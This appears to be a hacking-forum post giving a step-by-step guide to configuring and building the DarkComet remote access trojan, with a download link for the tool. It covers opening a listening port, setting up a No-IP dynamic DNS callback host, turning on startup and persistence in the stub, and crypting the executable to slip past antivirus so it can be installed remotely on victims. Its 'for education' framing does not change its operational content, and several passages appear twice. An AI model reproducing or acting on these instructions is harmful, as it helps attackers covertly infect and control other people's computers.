i'm posting it just for the purpose of education :handshake:
first you need the darkcomet and it is in the last of the post :fly:
Here now, we have run through the entire thorough setup for DarkComet. Even your kid brother could follow this tutorial. Now what you need to do is some research into how to encrypt the EXE, so it can be installed remotely without an antivirus putting up a fuss. I know Metasploit has some pretty good encryption in its framework. I would start there. Watch out for others telling you they will encrypt it for you. This is usually a trick to just pack their own RAT into your stuff!
:psy:[trollface]now time for download [trollface]:psy:
on mediafire :smokin:
http://www.mediafire.com/download/serr3n2aybghn22/Darkcomet.rar
on megafile :-=
Darkcomet.rar
and let the fun begins:laugh::laugh::dan:
first you need the darkcomet and it is in the last of the post :fly:
- Open the DarkComet RAR (You need WinRAR)
- Make a folder on your desktop. Name it anything you want.
- Drag the items from the WinRAR folder to the Tutorial folder at your Desktop.
- Open DarkCometstup.exe (Run as Administrator)
- A TOS should show up.
Tick the box saying Do not display again the EULA that is located at the bottom left.
Click I accept - At the bottom left, it will show up a Help Screen, tick Do not show at startup then click Fine
- Click DarkComet-RAT at the top left.
- Click Listen to new port (+Listen)
A new window should open, put in your Port then tick Try to forward automaticaly (UPNP)
IN this case, I will do port 70 so I put that in, tick Try to forward automatically (UpNP) and click Listen. - Move over to Socket / Net located at the very end of the top left border.
You should see something like this:
70 may not be your port, your port that you added in Listen to new port will be displayed, not specifically 70. - Go to Open Port Check Tool
- Put in the port that you are listened on.
If all went well, it should look like this:
- Now, click DarkComet-RAT again and click Server Module, then click Full Editor (Expert)
- Name your Security Password anything you like, then click the Mutex a few times. We then have the Main Settings done.
Make sure you untick FWB (Firewall Bypass) - Go to Network Settings.
Now, go to Free Dynamic DNS - Managed DNS - Managed Email - Domain Registration - No-IP and register
Click Free DNS
- Put in whatever you want for it. Make sure the email is valid because we will need it to validate. (if you dont want to give your email, get a temp email at 10minutemail.com)
Sign in now. - Now, at the Body you will see a list of options, click Add Host
- Copy the settings:
Leave IP Address, as that will show as Default your IP address. - Click Create Host.
- Go back to your DarkComet and put in the Ip/DNS and Port (DNS for the NO-IP you made a second ago and Port for the one you listened on!)
- Then click Add and go to Module Startup.
Tick the Start the stub with windows (module startup)
Then leave everything but Persistance installation ( always come back )
Tick that.
Now, it should look like this:
- Now go to Stub Finalization at the end.
If you are going to get it crypted then dont tick UPX (Ultimate Packer Executable) but if you are, I would leave it off and just have it on No compression.
- Now tick the Save the profile when stub succesfully generated and Build the Stub.
Now there is one last thing. - Go to the Client Settings in DarkComet-RAT and then Click NO-IP Updater
- Then put in the NO-IP host, Username and Password, then tick Auto update your no-ip dns when your IP change
- Now, run the stub that you generated in a Sandbox to test, and you should show up!
Here now, we have run through the entire thorough setup for DarkComet. Even your kid brother could follow this tutorial. Now what you need to do is some research into how to encrypt the EXE, so it can be installed remotely without an antivirus putting up a fuss. I know Metasploit has some pretty good encryption in its framework. I would start there. Watch out for others telling you they will encrypt it for you. This is usually a trick to just pack their own RAT into your stuff!
:psy:[trollface]now time for download [trollface]:psy:
on mediafire :smokin:
http://www.mediafire.com/download/serr3n2aybghn22/Darkcomet.rar
on megafile :-=
Darkcomet.rar
and let the fun begins:laugh::laugh::dan: